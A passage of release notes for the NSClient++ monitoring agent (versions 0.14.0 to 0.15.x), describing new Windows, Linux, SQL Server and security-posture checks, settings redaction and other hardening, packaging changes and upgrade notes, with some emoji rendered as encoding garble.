  • CheckDocker: survives containers removed mid-check and counts image disk correctly.
  • CheckMySQL: plugin-dir / socket / defaults-file are settings-only.

Security & hardening

  • Settings redaction (reported by @yagust): values for keys registered sensitive are returned as *** on the settings read paths (REST GET /api/v2/settings/... and /descriptions, and the --list / --show CLI), matching the diff endpoint. Internal reads a module makes of its own configuration are unaffected. This is defense-in-depth, not an authorization boundary โ€” the plaintext still lives in nsclient.ini. The web admin edit dialog now writes only changed fields so the mask cannot overwrite a stored secret.
  • Legacy WEB permission (reported by @yagust): the legacy grant unlocks the deprecated /query.pb and /query/{name} endpoints, which dispatch through the same command registry as /api/v2/queries. The built-in legacy role is no longer seeded on fresh installs, any role whose grant includes the legacy token now logs a SECURITY warning at startup (and from nscp web add-role / add-user), and the capability is documented in the securing guide.

Installer & packaging fixes

  • Repaired a self-initialised member and a clobbered boot.ini; stopped stamping [layout] into every boot.ini.
  • Remove the fleet identity on uninstall of a modern install; restore the config backup into the layout’s shared folder; honour boot.ini’s [paths] shared-path.
  • Linux packages create and migrate writable-state directories and keep them out of the package directory; adopt_owner handles root-written enrollment material and is symlink-safe.

Documentation

  • New Upgrading page collecting per-release operator actions (closes #1410), and a Security notices page tracking advisories and hardening changes.
  • Documented the Windows and Linux file layouts and the MSI LAYOUT property.

Upgrade notes

  • The modern layout is opt-in; the default install is unaffected. Switch deliberately with nscp settings --migrate-layout modern (try --dry-run first) or the MSI LAYOUT property. Run the CLI migration from an elevated prompt โ€” the destination is locked to SYSTEM/Administrators.
  • ๐Ÿ”’ Sensitive settings values now read back as ***. Tooling that read a secret out of GET /api/v2/settings/... will now receive *** for keys registered sensitive. No configuration change is required.
  • ๐Ÿ”’ The legacy WEB role is no longer seeded on fresh installs and any role granting the legacy permission logs a SECURITY warning. Existing installs keep their role and are unaffected; only grant legacy to trusted legacy systems.
  • Linux writable-state migration is automatic. Packages create and migrate the writable state directories on upgrade; no action required.

Download

You can download the new version from GitHub

// Michael Medin

0.15.0 SQL Server monitoring and seventeen new checks

This release adds a new CheckMSSQL module for monitoring Microsoft SQL Server, a large batch of new Windows checks covering disks, security hygiene and patch state, richer keywords across many existing checks, and fixes a long-standing class of collector stalls caused by slow WMI providers.

โœจ Highlights

  • ๐Ÿ—„๏ธ New CheckMSSQL module. Five new commands monitor Microsoft SQL Server over ODBC: connectivity/health, arbitrary T-SQL queries, database state and log usage, backup age and SQL Agent jobs. Windows integrated authentication by default, with optional SQL authentication.
  • ๐Ÿ†• Twelve more new check commands. Disk writability (check_disk_write), UNC share free space (check_uncpath), Storage Spaces (check_storagepool), VSS snapshots (check_shadowcopy), SMB shares (check_share), Microsoft Defender (check_defender), local account hygiene (check_local_accounts), group membership drift (check_group_members), pending reboot (check_pending_reboot), hotfix age (check_patch_age), print queues (check_printqueue) and paging I/O (check_swap_io).
  • โš™๏ธ The system collector no longer freezes on slow WMI providers. Slow every-12-second collections (network, temperature, CPU frequency, battery, OS updates) now run on their own thread, so a blocking WMI query no longer stretches check_cpu time windows or drops samples (#1378).
  • ๐Ÿ“ƒ Multi-line check output. The new list-separator option on every filter-based check lets long results render one item per line, which Nagios-compatible frontends show as summary + long output (#1370).
  • ๐Ÿ”ฅ check_firewall now reports the effective, group-policy-aware state. A firewall enabled or disabled through group policy previously reported its pre-policy local state (#1351).
  • โฑ๏ธ Per-disk I/O latency. check_disk_io and check_disk_health gain read_latency, write_latency and total_latency keywords in milliseconds, on both Windows and Linux (#1369).
  • ๐Ÿ› Fixed disable = cpu_frequency silently stalling check_cpu. Disabling CPU frequency collection also disabled CPU load sampling (#1368).
  • ๐Ÿง Linux packages now ship executable scripts. Bundled scripts lost their execute bit when installed by DEB/RPM packages. Thanks to Fabio Fantoni for this and for REUSE/SPDX compliance fixes.

๐Ÿ” Detailed changes

๐Ÿ—„๏ธ CheckMSSQL โ€” new module for monitoring Microsoft SQL Server

A new Windows module connecting over ODBC with Windows integrated authentication by default and optional SQL authentication (password stored as a masked settings key). The ODBC driver is auto-detected, preferring the newest “ODBC Driver NN for SQL Server” and falling back to the legacy “SQL Server” driver; on modern drivers TrustServerCertificate=yes is applied by default (overridable via trust-cert/encrypt). Login and query timeouts keep checks from ever hanging the agent, and unreachable servers report UNKNOWN with the full ODBC diagnostic chain.

Command Purpose
check_mssql Connectivity and health: version, patch level, edition, uptime with time-unit thresholds
check_mssql_query Arbitrary T-SQL with returned columns exposed as filter keywords and perfdata
check_mssql_databases Database state, recovery model and sizes, plus log usage from DBCC SQLPERF(LOGSPACE)
check_mssql_backup Age of last full/diff/log backup from msdb; never-backed-up reported as -1 and critical by default
check_mssql_jobs SQL Agent job outcomes, duration and in-flight runs (is_running)

check_mssql_backup excludes COPY_ONLY and snapshot backups by default so an ad-hoc dev backup or a VSS agent cannot mask a failing backup job (include-copy-only / include-snapshot opt back in). A new end-to-end scenario, Monitoring a SQL Server host, combines the module with service, disk, memory, PDH and event log checks and documents a low-privilege monitoring login.

check_mssql_backup "critical=full_age > 26h or full_age = -1" "warn=log_age > 2h"

๐Ÿ’พ CheckDisk โ€” writability probes, UNC paths, Storage Spaces, VSS and SMB shares

Command Purpose
check_disk_write Verify a disk is actually writable: exclusive-create a probe file, write, read back, delete. Never touches a file it did not create; probe size capped at 1M
check_uncpath Free space on a UNC path (server share), with optional alternate credentials
check_storagepool Storage Spaces pool health and capacity
check_shadowcopy VSS snapshot recency, count and shadow-storage usage per volume
check_share List SMB shares or verify that specific required shares exist

Existing disk checks were extended as well:

  • check_disk_io and check_disk_health expose average per-I/O latency (read_latency, write_latency, total_latency, unit ms) with perfdata and metrics (#1369). On Windows the values are computed from raw PERF_AVERAGE_TIMER counters (the formatted WMI class truncates realistic latencies to 0); on Linux from /proc/diskstats. Thresholds like "warn=total_latency > 20" "crit=total_latency > 50" work regardless of workload shape.
  • check_drivesize gains require (alias mandatory-drives): the check goes CRITICAL if any listed drive is missing, even when scanning wildcards.
  • check_drivesize and check_disk_health can report physical-disk device state (health and operational status).
  • check_files gains aggregate file-size metrics and a folder count.

๐Ÿ›ก๏ธ CheckSecurity โ€” Defender, local accounts and group membership

Command Purpose
check_defender Microsoft Defender status: signature/scan age, real-time and tamper protection, engine/signature versions
check_local_accounts Local account hygiene: enabled/disabled, locked, password-required/expires, built-in admin/guest
check_group_members Local group membership (default Administrators) with alerting on members not on an expected allow-list

๐Ÿ–ฅ๏ธ CheckSystem โ€” patch state, reboot state, print queues and paging I/O

Command Purpose
check_pending_reboot Whether the system is waiting for a reboot, aggregating servicing, Windows Update, file-rename, computer-rename and domain-join signals
check_patch_age Installed-hotfix hygiene: time since the newest hotfix and presence of specific required hotfixes
check_printqueue Print queues: queue depth, oldest-job age, offline and error states per printer
check_swap_io System paging (swap) I/O rates: pages/bytes paged in and out per second

๐Ÿ“ˆ check_process โ€” background CPU sampling, owners and more memory keywords

check_process delta=true previously sampled inside the check, slept one second and sampled again โ€” stalling every query by a second. CPU deltas are now published by an opt-in background collector (process cpu setting, mirroring process history) that diffs the process table once a second; the check overlays a rolling per-PID CPU% onto a normal no-sleep enumeration. With the collector off, delta=true fails fast with UNKNOWN naming the setting instead of reporting misleading values, and memory/handle fields now keep their real absolute values in delta mode.

Other process-check additions: process owner resolution (with user filtering), an rss alias for working set, thread count, working set and page file percentages, peak memory keywords and system-wide thread/memory totals. Also fixed: the time keyword always reported 0 unless delta sampling was on.

โž• More keywords and options for existing checks

Check Addition
check_network Per-interface packet rates, errors and discards (packets_in, packets_out, …) with perfdata and metrics; NIC team membership (team, team_status) and WMI source keywords
check_service summary option emitting aggregate state counts (running_services, stopped_services, paused_services, pending_services, service_count) for dashboard rollups
check_os_version CPU architecture, Windows build revision and inventory-only BIOS fields (serial, version, manufacturer); fixed version detection for Windows 10/11 and Vista/Server 2008
check_os_updates Support for Defender definition updates and update rollups
check_cpu_frequency Socket information and load percentage
check_tasksched Next run time and missed-run tracking, task URI and hidden properties, default perfdata for task state and missed-run counters
check_eventlog User SID retrieval and filtering; more efficient bookmark handling (plus a bookmark bug fix)
check_pdh Built-in memory_pages_sec counter (\Memory\Pages/sec); more robust resolution of localized counter names

โš™๏ธ CheckSystem collector โ€” no more stalls from slow WMI providers (#1378)

The background collector ran network, temperature, CPU frequency, battery and OS update collection on the same 1 Hz thread as CPU/memory/PDH sampling. The network collection queries Win32_PerfRawData_Tcpip_* via WMI with no timeout; when the WMI Performance Adapter service restarts (roughly every 16 minutes on an idle server) that query blocks for 21โ€“24 seconds, freezing the whole collector โ€” stretching check_cpu time windows and dropping samples. The five slow collections now run on their own thread, so a slow provider costs one stale cycle for that metric instead of a frozen collector.

The follow-up hardening fixed a subtle shared-state bug: CheckSystem, CheckEventLog and CheckLogFile all created the same named shutdown event, so stopping or reloading any one of them silently killed the others’ background threads โ€” and the name let any co-resident process signal it and disable monitoring from outside. All three now use unnamed, per-instance events with proper cleanup, and a transient COM initialization failure at boot now retries instead of permanently disabling collection.

๐Ÿ“ƒ Filters and output โ€” multi-line lists and REST-safe booleans

  • list-separator (#1370): every filter-based check now accepts a separator for %(list), %(ok_list), %(warn_list), %(crit_list), %(problem_list) and %(detail_list), with \n, \r, \t and \\ escapes; real-time filters get a matching list separator settings key. The decoded separator is also exposed to templates as %(sep) so the line can break before the first item:
check_users "top-syntax=%(status): %(count) user(s) logged on:%(sep)%(list)" "detail-syntax=%(user) [%(state)]" "list-separator=\n"
OK: 7 user(s) logged on:
administrator [active]
user1 [active]

The default (,) is unchanged and templates pass through byte-for-byte. - Valued booleans on common options. debug, show-all and escape-html rejected the x=true form used by REST (answering with usage text instead of running); they now accept x=true/x=false while the bare CLI form keeps working. - %(problem_list) leak fixed. Real-time filters reuse one filter instance; %(problem_list) kept accumulating items from every previous event batch.

๐Ÿ”ฅ check_firewall โ€” effective, group-policy-aware state (#1351)

check_firewall read only the local policy store, so a firewall configured through local or AD group policy reported its pre-policy state โ€” a GP-disabled firewall showed as enabled and vice versa. The group-policy resultant values (EnableFirewall, default inbound/outbound actions) are now overlaid on the local store, matching Get-NetFirewallProfile -PolicyStore ActiveStore, including the legacy pre-Vista “Protect all network connections” StandardProfile key. A new policy keyword exposes whether a profile’s settings come from local or group policy.

๐Ÿ› Bug fixes

  • disable = cpu_frequency in the CheckSystem collector also disabled CPU load sampling, silently stalling check_cpu (#1368).
  • check_process time keyword always reported 0 without delta sampling.
  • A CheckEventLog bookmark bug could skew incremental event log scanning.

๐Ÿ“ฆ Packaging and licensing

  • Linux DEB/RPM packages now install the bundled scripts with their execute permission, and check_ok.sh gained its missing shebang, so they can be invoked directly as external-script commands (thanks Fabio Fantoni).
  • REUSE/SPDX compliance: third-party attributions for bundled CMake modules and binaries are now correctly declared, and the SBOM no longer misattributes them (thanks Fabio Fantoni).

โš ๏ธ Upgrade notes

  • check_process delta=true behaviour changed: it now requires the new process cpu collector setting to be enabled and returns UNKNOWN (naming the setting) when it is off, instead of sleeping one second inside the check. With the collector on, memory and handle fields report absolute values in delta mode rather than 1-second differences. Default installs (not using delta=true) are unaffected.
  • CheckMSSQL is a new optional module; it is not loaded by default. Enable it and see the new Monitoring a SQL Server host scenario in the docs.
  • All other changes are additive; existing configurations render byte-for-byte as before.

Download

You can download the new version from GitHub

// Michael Medin

0.14.1 Host security posture, JSON-aware HTTP checks, and a clearer licence

This release adds a brand-new CheckSecurity module for monitoring a host’s security posture โ€” certificates, firewall, antivirus, BitLocker, Secure Boot, NLA and logged-on users โ€” and teaches check_http to assert on values inside a JSON response body. It also fixes boolean check arguments over REST, tidies up process aggregation and module activation, relicenses the project under a clear dual licence, and reworks the documentation to handle Windows and Linux side by side.

Highlights

  • New CheckSecurity module. Seven new checks for host security posture: check_certificate, check_firewall, check_antivirus, check_bitlocker, check_secureboot, check_nla and check_users. check_certificate and check_users run everywhere; the rest are Windows-only. (#1339)
  • check_http can assert on JSON responses. New json-path=alias:path options extract values from a JSON body into filter keywords you can threshold on and emit as perfdata. (#1341)
  • CheckNet queries now emit performance data by default, so check_http, check_tcp and friends graph out of the box without an explicit perf syntax. (#1341)
  • Boolean check arguments accept values, not just flags. check_ping host=www.google.com total=true now works alongside the bare-flag form โ€” the form REST already used. (#1338)
  • Activate several modules in one command: nscp settings --active-module CheckSystem CheckNet. (#1329-follow-up)
  • Clear dual licence. NSClient++ is now Apache-2.0 OR GPL-2.0-only, with machine-readable REUSE metadata and third-party notices. (#1343)
  • Reworked, multi-OS documentation that presents Windows and Linux options and features together instead of assuming one platform. (#1342)

Detailed changes

CheckSecurity โ€” new host security-posture module

A new module, CheckSecurity (alias security), checks whether a host is in the security state you expect. Each check is a normal modern_filter check, so you can override the default warn/crit expressions, filter, and detail-syntax/top-syntax as usual.

Command Platforms What it checks
check_certificate All X.509 certificate expiry / validity / hygiene from files or the Windows store
check_users Windows + Linux Count and detail of logged-on / RDP sessions
check_firewall Windows only Firewall profile (Domain/Private/Public) enabled and active state
check_antivirus Windows only Registered antivirus products’ enabled / up-to-date state (Security Center)
check_bitlocker Windows only BitLocker drive-encryption protection status per volume
check_secureboot Windows only Whether UEFI Secure Boot is enabled (distinguishes “disabled” from “legacy”)
check_nla Windows only Network Location Awareness category (public/private/domain) per network

check_certificate defaults to warning when a certificate expires within 30 days and critical within 10 (matching common practice), emits expires_in (whole days until expiry) as perfdata, and can scan a whole directory:

check_certificate file=/etc/ssl/certs/mysite.pem
check_certificate file=/etc/ssl/certs recursive=true "detail-syntax=${subject}: ${expires_in}d"
check_certificate file=/etc/pki/tls/certs critical=expired=1

The Windows checks expose the raw state fields so you can tighten or relax the default posture. check_firewall adds an active flag (which profile is currently in effect) alongside enabled, so you can warn when a machine silently falls back to the Public profile after a network change:

check_firewall "warn=active = 1 and profile = 'Public'" "detail-syntax=${profile} profile is active"
check_secureboot "warn=supported = 0" "crit=supported = 1 and enabled = 0"
check_nla "crit=connected = 1 and category != 'domain'" "detail-syntax=${network}=${category}"

On a platform where a Windows-only check does not apply, the check returns UNKNOWN with a clear message rather than failing.

CheckNet โ€” check_http JSON path extraction

check_http can now pull values out of a JSON response body and treat them as filter keywords. Each json-path=alias:path option extracts the value at a dotted path (numeric segments index into arrays; single-quote a segment that itself contains a dot) and makes it available for warning=/critical= expressions and perfdata:

check_http url=https://api.example.com/health "json-path=qlen:data.queue.length" "crit=qlen > 100"
check_http url=https://api.example.com/health "json-path=st:status" "crit=st != 'ok'"
check_http url=https://api.example.com/health "json-path=err:metrics.error_rate" "warn=err > 0.01" "crit=err > 0.05"
check_http url=https://api.example.com/health "json-path=first:items.0.name" "json-path=cfg:'a.b'.c"

Numeric values keep full precision, strings compare and render as strings, and booleans read as 1/0. A missing path โ€” or a body that is not valid JSON โ€” leaves the alias empty rather than failing the check, and multiple json-path options can be combined freely.

CheckNet โ€” default performance data

CheckNet queries now attach sensible performance data by default, so check_http, check_tcp and the other network checks produce graphable perfdata without a hand-written perf syntax. check_ntp_offset threshold handling was also tidied up in the same change.

Check arguments โ€” boolean options accept values

Boolean check options now accept an explicit value in addition to the bare-flag form:

check_ping host=www.google.com total=true

Previously the value form was rejected from the CLI even though REST always passes flags as key=true tokens, so a boolean option that worked over REST could look broken from the command line. Both forms now behave identically.

CheckSystem โ€” process total aggregation

check_process process-total aggregation now correctly reports the started and hung states (on both Windows and Linux), so totals of these statuses match what the per-process detail shows.

Settings โ€” activate multiple modules at once

nscp settings --active-module now accepts several module names in one invocation:

nscp settings --active-module CheckSystem CheckNet

Licensing โ€” dual-licensed Apache-2.0 OR GPL-2.0-only

NSClient++ is now explicitly dual-licensed under Apache-2.0 OR GPL-2.0-only. Source headers were updated to SPDX identifiers, the project carries machine-readable REUSE metadata (REUSE.toml, LICENSES/), and a THIRD-PARTY-NOTICES.md / NOTICE collect the third-party licences. The installer, packaging and docs licence text were updated to match.

Build โ€” Python library discovery

CMake now derives the default Python library name instead of hardcoding a version, and defaults it to the soname so the module loads without the Python development packages installed. This makes Linux builds far less sensitive to the exact Python version on the build and target hosts. (#1334)

Documentation

  • Multi-OS reference docs. The reference documentation was reworked to present Windows and Linux options and features together, handling checks whose options diverge by platform instead of documenting a single OS. Windows docs were regenerated. (#1342)
  • New docs/samples/ usage examples and descriptions for every new CheckSecurity command and the check_http JSON feature.
  • check_process docs cross-reference filter_perf for top-N processes. (#1330)
  • README restructured and dead files removed. (#1340)

Quality and CI

  • Spelling. A codespell GitHub workflow was added and spelling errors in log messages and settings descriptions were fixed. (#1314, #1344)
  • Live integration tests. A new opt-in test suite runs checks against a real VM in Azure, alongside the existing REST-driven integration tests. New integration tests cover CheckSecurity, the check_http JSON feature, and --active-module. (#1335)
  • Assorted build fixes for older Windows toolchains, Linux, and sanitizer runs.

Upgrade notes

  • Licence change: NSClient++ is now distributed as Apache-2.0 OR GPL-2.0-only. This is a clarification/relicensing โ€” review it if your organisation tracks the exact licence of bundled software. No code or runtime behaviour changes as a result.
  • CheckNet perfdata is now on by default. Network checks emit performance data without an explicit perf syntax. If you were adding perfdata manually, double-check you are not now emitting it twice; graphs that previously showed nothing will start populating.
  • Boolean check arguments: option=true / option=false now work from the CLI as well as over REST. Existing bare-flag usage is unchanged.
  • CheckSecurity is not loaded by default. Enable it before using the new checks, e.g. nscp settings --active-module CheckSecurity. Windows-only checks return UNKNOWN on other platforms rather than erroring.

Download

You can download the new version from GitHub

// Michael Medin

0.14.0 Linux parity

This release brings Linux up to near-parity with Windows and completes the Linux story that began in 0.13.0. On the checks side it adds a full suite of Linux-native system checks (CheckSystemUnix) sourced directly from /proc and /sys, event-driven real-time monitoring on Linux, Linux disk / file / mount support in CheckDisk, and a round of cross-platform CheckNet improvements โ€” TLS for check_tcp, a fuller check_http, multi-record-type DNS, and two new network checks. Around the daemon it delivers , a secure-by-default web server, one-command installs via winget / Chocolatey / Scoop and nscp web install-ui, and a broad set of security and reliability fixes. It also hardens plugin shutdown so a misbehaving module can no longer crash the service on exit.

๐ŸŒŸ Highlights

  • Linux system checks (CheckSystemUnix). New native checks โ€” check_load, check_cpu_utilization, check_kernel_stats, check_swap_io, check_cpu_frequency, check_temperature, check_battery, check_network โ€” plus overhauled check_process (with process history / delta CPU) and a systemd-aware check_service. All read /proc and /sys directly, with thresholds and syntax that match their Windows counterparts.
  • Real-time monitoring on Linux. CheckSystemUnix gains an event-driven real-time thread, so CPU, memory and process alerts can fire the moment a threshold is crossed rather than only on poll โ€” the same real-time model previously available only on Windows.
  • Disk, file and mount checks on Linux (CheckDisk). CheckDisk is no longer Windows-only: free-space (check_drivesize), file (check_files) and disk-I/O checks now run on Linux, with per-device I/O sampling from /proc/diskstats, LVM / device-mapper mapping, inode statistics, file-integrity checksums, and a new check_mount.
  • TLS-aware network checks (CheckNet). check_tcp now speaks TLS (ssl=true) with new SPOP / SIMAP / SSMTP presets; check_http gains redirect policy, certificate-expiry reporting, Basic auth, SNI and non-GET methods; check_dns queries any record type against a custom resolver; and two new checks arrive โ€” check_ssh and check_nsclient_web_online.
  • First-class Linux packaging. The build follows the FHS / CMAKE_INSTALL_PREFIX, with official .deb/.rpm targeting /usr, and a Boost.Beast web backend by default.
  • One-command installs everywhere. Windows via winget / Chocolatey / Scoop; the Linux web UI via nscp web install-ui.
  • Secure by default. The web server refuses to serve cleartext HTTP without an explicit opt-in, plus check_nt command allow-listing and stricter external-script argument checks.
  • Run Lua scripts straight from the CLI with nscp lua execute, backed by Lua thread-safety hardening.
  • Safer plugin shutdown. The plugin manager isolates broken plugins and tears modules down cleanly, so a module that fails to unload can no longer take the service down on shutdown.

๐Ÿ“– Detailed changes

๐Ÿง CheckSystemUnix โ€” native Linux system checks

A new family of checks reads Linux kernel state directly. Thresholds and detail-syntax keywords mirror the Windows checks so alerts port across platforms.

Command Source What it reports
check_load /proc/loadavg 1/5/15-minute run-queue averages; load shortcut; percpu=true scaling
check_cpu_utilization /proc/stat (~1s sample) Per-mode breakdown โ€” user, system, iowait, steal, idle, total
check_kernel_stats /proc/stat, /proc/loadavg Context-switch rate, fork/process-creation rate, live thread count
check_swap_io /proc/vmstat Swap paging rates (swap_in/swap_out pages/s and bytes/s)
check_cpu_frequency /sys cpufreq Current / max / min CPU frequency
check_temperature thermal zones + hwmon Thermal-zone and hwmon sensor temperatures
check_battery /sys power_supply Charge level, power source, health
check_network /proc/net/dev + sysfs Per-interface link status and throughput
check_load "warn=load5 > 4" "crit=load5 > 8"
check_cpu_utilization "warn=iowait > 20" "crit=iowait > 50"
check_swap_io "warn=swap_out > 100" "crit=swap_out > 1000"
check_kernel_stats "warn=current > 8000" "crit=current > 10000"

โš™๏ธ CheckSystemUnix โ€” check_process history and check_service on systemd

  • check_process now tracks process history and computes delta CPU between samples (rather than lifetime CPU), and exposes memory keywords (rss, vms), matching the Windows process semantics.
  • check_service now inspects systemd units. The raw systemd state is mapped to a normalised state keyword so thresholds read the same as on Windows, while the raw fields (active, sub_state, preset) are exposed too. The default critical expression is ( state not in ('running', 'oneshot', 'static') or active = 'failed' ) and preset != 'disabled' โ€” so a stopped-but-disabled unit stays OK while an enabled unit that failed is CRITICAL. Per-unit process metrics (rss, vms, cpu, tasks, age) are parsed from /proc for the unit’s main process.
check_service service=cron "detail-syntax=${name}=${state} active=${active} preset=${preset}"
check_service service=mysql "warn=rss > 1G" "crit=rss > 2G"
  • check_os_version now parses /etc/os-release and reports the distribution and kernel details.

โšก CheckSystemUnix โ€” real-time monitoring

CheckSystemUnix gains a real-time collection thread and real-time data model, bringing event-driven checks to Linux. CPU, memory and process real-time filters evaluate continuously and emit the moment a threshold is crossed, matching the Windows real-time behaviour. See the Real-Time System Monitoring scenario, now cross-platform.

๐Ÿ’พ CheckDisk โ€” now on Linux: disk metrics, inodes, checksums, and check_mount

CheckDisk is no longer Windows-only. Linux builds gain the core free-space and file checks (check_drivesize, check_files) plus disk-I/O sampling, and this release adds:

  • Linux disk I/O. check_disk_io and check_disk_health now sample per-device I/O from /proc/diskstats once per second on Linux (mirroring the Windows PDH path). LVM / device-mapper and RAID volumes are mapped back to their backing devices via sysfs, so space and I/O join correctly for /dev/mapper/โ€ฆ filesystems. The first query after startup can return UNKNOWN while the collector takes its first sample.
  • Inode statistics. check_drivesize exposes inodes_total, inodes_free, inodes_used, inodes_free_pct and inodes_used_pct, so you can catch inode exhaustion (free bytes but no free inodes).
  • File-integrity checksums. check_files exposes md5_checksum, sha1_checksum, sha256_checksum, sha384_checksum and sha512_checksum, computed lazily only when referenced.
  • check_mount (new). Verifies a filesystem is mounted โ€” and optionally that it is mounted with the expected type and options โ€” reading the live mount table (/proc/self/mounts). A path that is not mounted is CRITICAL; a fstype or missing-options mismatch is WARNING.
check_drivesize drive=/ "warn=used>80%" "crit=used>90%"
check_drivesize drive=/ "warn=inodes_used_pct > 85" "crit=inodes_used_pct > 95"
check_files path=/var/log pattern=*.log "crit=size>100M"
check_mount mount=/data fstype=ext4

(Some Windows-only legacy CheckDisk commands are not registered on Linux.)

๐Ÿ” CheckNet โ€” TLS for check_tcp

check_tcp can now establish a TLS session over the connected socket (ssl=true), with tls-version (default tlsv1.2+), verify (default none) and ca options, and a response regex to match the server’s greeting. Three new TLS service presets ship alongside the existing plaintext ones:

Preset Port TLS Expected greeting
SPOP 995 yes ^\+OK
SIMAP 993 yes ^\* OK
SSMTP 465 yes ^220
check_tcp host=pop.example.com ssl=true "response=^\+OK"
check_tcp host=imap.example.com SIMAP

Peers that close the TLS session without a close_notify (reported by OpenSSL as stream_truncated) are now treated as a clean end-of-data rather than a read failure.

๐ŸŒ CheckNet โ€” check_http features

check_http gains the features needed for real service checks:

  • Redirect policy โ€” onredirect=ok|follow (default ok) with max-redirs (default 15); follows 301/302/303/307/308.
  • Certificate expiry โ€” reports ssl_expiry_days (days until the served certificate expires) for HTTPS targets.
  • Authentication โ€” username / password send an HTTP Basic Authorization header.
  • Methods and bodies โ€” method= (HEAD/POST/โ€ฆ), post-data, content-type; supplying post-data with a GET promotes the request to POST.
  • SNI โ€” sni= overrides the TLS server name / verification host.
check_http url=https://example.com method=HEAD
check_http url=https://example.com username=user password=secret
check_http url=http://example.com/old onredirect=follow
check_http url=https://example.com "warn=ssl_expiry_days < 30" "crit=ssl_expiry_days < 7"

๐Ÿ”Ž CheckNet โ€” check_dns record types and custom server

check_dns now queries any record type (type=A|AAAA|MX|TXT|NS|CNAME|SOA|PTR|SRV) and can direct the query at a specific resolver (server=), rather than only resolving an A record against the system resolver.

check_dns host=example.com type=MX server=8.8.8.8

๐Ÿ”‘ CheckNet โ€” check_ssh (new)

Connects to an SSH port and validates the protocol banner (implemented on top of the check_tcp service-preset machinery). Flags a server that fails to present a valid SSH-2.0 / SSH-1.x identification string.

check_ssh host=server.example.com
check_ssh host=server.example.com port=2222

๐Ÿ“ก CheckNet โ€” check_nsclient_web_online (new)

Verifies that a remote NSClient++ agent’s REST/WEB endpoint is reachable and that credentials authenticate โ€” a lightweight liveness probe for the agent’s management interface. Reports the base URL and distinguishes “unreachable” from “authentication failed (HTTP 401/403)”.

check_nsclient_web_online url=https://agent:8443 password=... verify=none

This command is deliberately named _online because it only checks reachability. A future check_nsclient_web will run actual remote checks through the endpoint.

๐ŸŒ™ Lua โ€” run scripts straight from the command line

nscp lua execute runs a Lua script directly from the CLI โ€” useful for developing and debugging check scripts without wiring them into the configuration first:

nscp lua execute --script myscript.lua

Lua also got thread-safety hardening (a proper GIL), new helpers for targeted and forwarded queries, clearer errors when a script fails to load, and log lines that report the actual script line number.

๐Ÿ” TLS โ€” outbound SNI and Op5 client options

  • SNI is now sent on outbound TLS connections (Graphite and the generic TLS client), so a TLS proxy hosting several certificates returns the right one.
  • The Op5 client gained explicit TLS settings:
[/settings/op5/client/targets/default]
tls version = 1.2+
verify mode = peer
ca = ${ca-path}

๐Ÿ”’ Security โ€” secure-by-default web server and hardening

  • The web server refuses to run unencrypted by default. To stop NSClient++ from silently serving the REST API / web UI over plain HTTP, the WEB server now refuses to start without a certificate unless you explicitly opt in with allow insecure = true (see Upgrade notes).
  • check_nt can now be restricted to specific commands. The legacy check_nt protocol is password-only (and source-IP filtering is spoofable), so you can now limit which of its ten request codes are answered. The default is any (unchanged behaviour):
[/settings/NSClient/server]
# Answer only harmless system metrics; deny arbitrary counter/file reads
# and service/process enumeration:
allow = metrics, info

A request outside the list is rejected with ERROR: Command not allowed. - Stricter shell-metacharacter checks in external scripts. User-supplied argument values containing more shell metacharacters are now rejected. - Graphite metric paths are sanitized before being written to the line protocol, preventing injection of extra metrics. - Python sys.path handling hardened to prevent code-injection via path manipulation.

๐ŸชŸ Windows โ€” winget / Chocolatey / Scoop packages

NSClient++ is now published to the common Windows package managers:

winget install Mickem.NSClient
choco install nsclient   # Still pending approval
scoop install nsclient   # still pending approval

๐Ÿ“ฆ Linux packaging โ€” FHS layout and install prefix

The Linux build honours CMAKE_INSTALL_PREFIX like a normal CMake project, and the official .deb/.rpm are built for /usr. The file layout is now:

What Location
Daemon /usr/sbin/nscp
Modules /usr/lib/nsclient/modules
Private libs /usr/lib/nsclient
Config /etc/nsclient
State / logs /var/lib/nsclient ยท /var/log/nsclient

If you previously patched hardcoded paths to build for a custom location, that is no longer needed โ€” pass -DCMAKE_INSTALL_PREFIX=/opt/nsclient (or the standard CMAKE_INSTALL_*DIR knobs) instead. To point an already-installed daemon at a boot.ini in a non-standard place there is a new override:

nscp service --run --path-override boot-conf=/etc/nsclient/boot.ini

๐Ÿ–ฅ๏ธ Linux โ€” web UI is a separate download (.deb / .rpm)

The Linux packages no longer bundle the React/Vite web frontend (Debian/Fedora policy forbids npm install during package builds). The daemon, REST API, NRPE/NSCA listeners and every check module are still in the package โ€” only the browser UI ships separately. After installing the package, fetch the matching UI bundle as root:

sudo nscp web install-ui      # downloads + verifies NSCP-Web-<version>.zip
sudo nscp web ui-status       # show installed version / source
sudo nscp web uninstall-ui    # remove only what install-ui put down

Until you do, the web port shows a small built-in placeholder page; the REST API and all listeners work normally without it. The Windows MSI still bundles the UI inline.

๐Ÿงฉ Core โ€” filter summary-variable rendering

All check filters now prefer summary variables during summary rendering. Previously a keyword that exists both per-item and as a summary aggregate (notably status) could render the last item’s value in the summary line, making the overall status read incorrectly. Summary context now resolves to the summary value, so top-syntax reports the aggregate correctly.

๐Ÿ›ก๏ธ Service โ€” safer plugin shutdown

The plugin manager now handles broken plugins defensively and prevents a module that misbehaves during teardown from crashing the service on shutdown. Modules get a clean teardown path so listeners and background threads stop before unload.

๐Ÿ“ˆ collectd client โ€” encoding and protocol fixes

Correct (little-endian) gauge encoding, working IPv6 multicast, a configurable send interval (default 10s), and previously dropped metric types (counter / derive / absolute) are now mapped instead of discarded.

๐Ÿ› Bug fixes

  • Fixed a Windows build break introduced during the Linux work.
  • Fixed regressions where some metrics and real-time checks stopped reporting.
  • Corrected check_ntp_offset threshold handling and improved default accuracy.
  • Improved check_connections performance-data accuracy for total connections.
  • Yet another possible fix for installer deleting config on upgrade.
  • Fix unreliable per-process CPU% from check_process delta=true. The delta calculation for per-process CPU usage produced inconsistent readings; it now returns stable, accurate values.
  • Fix perf-config=none reporting “Failed to parse syntax”. Setting perf-config=none to suppress performance-data formatting no longer fails parsing.
  • Fixed http(s) headers should be case-insensitive.
  • IPv6: listeners set IPV6_V6ONLY on Linux to avoid port conflicts with IPv4, and IPv6 address resolution was improved.
  • Thread-safety: logger subscriber management, the scheduler, and timer callbacks were made properly thread-safe; CommandClient now shuts down gracefully on POSIX signals.
  • check_mk server: fixed a memory leak.

๐Ÿšš Packaging & distribution notes

  • The bundled check_nsclient Nagios plugin moved to its own repository (mickem/check_nsclient) and is pulled in at build time. This only matters if you build from source.
  • Package/file names were normalised โ€” double-check the exact asset name on the releases page if you script downloads.
